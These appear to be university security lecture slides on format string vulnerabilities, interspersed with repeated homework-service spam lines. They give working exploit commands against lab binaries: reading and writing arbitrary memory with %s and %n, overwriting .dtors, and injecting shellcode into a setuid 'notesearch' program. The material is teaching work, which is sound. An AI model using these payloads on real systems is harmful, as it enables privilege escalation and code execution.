



Assignment Project Exam Help

<https://tutorcs.com>

WeChat: cstutorcs

FORMAT STRINGS

SEC204

Overview

- Introduction **Assignment Project Exam Help**
- Format String Vulnerability **<https://tutorcs.com>**
WeChat: cstutorcs

Assignment Project Exam Help

<https://tutorcs.com>

INTRODUCTION WeChat: cstutorcs

FORMAT PARAMETERS

- Format string exploits can also be used to gain control of a program
- Format string parameters are used to determine the data type of an input

Assignment Project Exam Help

Parameter	Input Type	Output Type
%d	Value	Decimal
%u	Value	Unsigned decimal
%x	Value	Hexadecimal
%s	Pointer	String
%n	Pointer	Number of bytes written so far

```
printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
```

FORMAT PARAMETERS

- What if you provided the wrong number of parameters?

```
printf("A is %d and is at %08x. B is %x.\n", A, &A);
```

rather than

```
printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
```

- Try this at `fmt_uncommon2.c`

```
$ gcc fmt_uncommon2.c  
$ ./a.out
```

- What is this third output `b7fd6ff4`?

Assignment Project Exam Help

<https://tutorcs.com>

FORMAT STRING VULNERABILITY

WeChat: estutorcs

FORMAT STRING VULNERABILITY

- Incorrect formatting could cause format string vulnerabilities
 - E.g. `print(string)`, rather than `print("%s", string)`
 - The `print` function will still display string, but the format function is passed the address of the string, not the address of a format string.
This could cause the stack pointer to reference a piece of memory in a preceding stack frame
- Lets run `fmt_vuln.c` in the hackingVM (CompArchitecture)

```
$ gcc -o fmt_vuln fmt_vuln.c
$ sudo chown root:root ./fmt_vuln || sudo chmod u+s ./fmt_vuln
$ ./fmt_vuln testing
$ ./fmt_vuln testing%x
$ ./fmt_vuln $(perl -e 'print "%08x."x40')
```

READING FROM ARBITRARY ADDRESSES

- The %s format could be used to read from arbitrary memory addresses.
 - Part of the original format string can be used to supply an address to the %s format parameter

```
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
```

- AAAA indicates that the fourth format parameter is reading from the beginning of the format string. What if the fourth format parameter is %s instead of %x? It will attempt to print the string located at 0x41414141.

```
$ env | grep PATH
$ ./getenvaddr PATH ./fmt_vuln
PATH will be at 0xbffffdd7
$ ./fmt_vuln $(printf "\xd7\xfd\xff\xbf")%08x.%08x.%08x.%s
```


WRITING TO ARBITRARY MEMORY ADDRESSES

- The %s format could be used to read from arbitrary memory addresses. We can write to an arbitrary address with the %n parameter.

Assignment Project Exam Help

- Lets overwrite the test_val variable

```
$ ./fmt_vuln $(printf '\x94\x97\x04\x08')%08x.%08x.%08x.%n
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%x%n
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%100x%n
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%180x%n
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%400x%n
```

- The resulting value depends on the number of bytes written before the %n.
- For example, to write AA onto test_val:

```
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%8x%n
$ ./fmt_vuln $(printf "\x94\x97\x04\x08") %x%x%150x%n
```

DIRECT PARAMETER ACCESS

- The previous examples required sequential attempts to pass format parameter arguments.
- To simplify format string exploits, we can use direct parameter access
 - Allows parameters to be accessed directly using the dollar sign qualifier (e.g. %n\$d will access the nth parameter and display it as a decimal number

```
printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);
```

will print:

```
7th: 70, 4th: 00040
```

- Back to fmt_vuln:

```
$ ./fmt_vuln AAAA%4$x
```

```
$ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" .  
"\x96\x97\x04\x08" . "\x97\x97\x04\x08"' )%4$n
```

```
$ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" .  
"\x96\x97\x04\x08" . "\x97\x97\x04\x08"' )%98x%4$n%139x%5$n
```

```
$ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08" .  
"\x96\x97\x04\x08" . "\x97\x97\x04\x08"' )%98x%4$n%139x%5$n%258x%6$n%192x%7$n
```

.dtors

- Binary programs compiled with the GNU compiler use .dtors and .ctors table sections for destructors and constructors respectively
- The constructor functions are executed before the main() and destructor functions are executed just before the main() exits with an exit system call.
 - We can declare a function as a destructor by defining the destructor attribute
 - Lets see the dtors_sample.c

```
$ ./gcc -o dtors_sample dtors_sample.c
$ ./dtors_sample
$ nm ./dtors_sample
$ objdump -s -j .dtors ./dtors_sample
$ objdump -h ./dtors_sample
```

FORMAT STRING VULNERABILITY AT NOTESEARCH

- Lets go back to the notesearch program, which also contains a format string vulnerability. Can you spot it?

```
$ ./notetaker AAAA$(perl -e 'print "%x" x 10')
$ ./notesearch AAAA
$ ./notetaker BBBB%8$x
$ ./notesearch BBBB
$ export SHELLCODE=$(cat shellcode.bin)
$ ./getenvaddr SHELLCODE ./notesearch
$ nm ./notesearch | grep DTOR
$ ./notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\x08") %49143x%8\${hn%14825x%9\${hn
$ ./notesearch 49143x
```

Assignment Project Exam Help

<https://tutorcs.com>

WeChat: cstutorcs

FURTHER READING

- Hacking: The art of exploitation, section 0x350, pg 167-193

Assignment Project Exam Help

<https://tutorcs.com>

WeChat: cstutorcs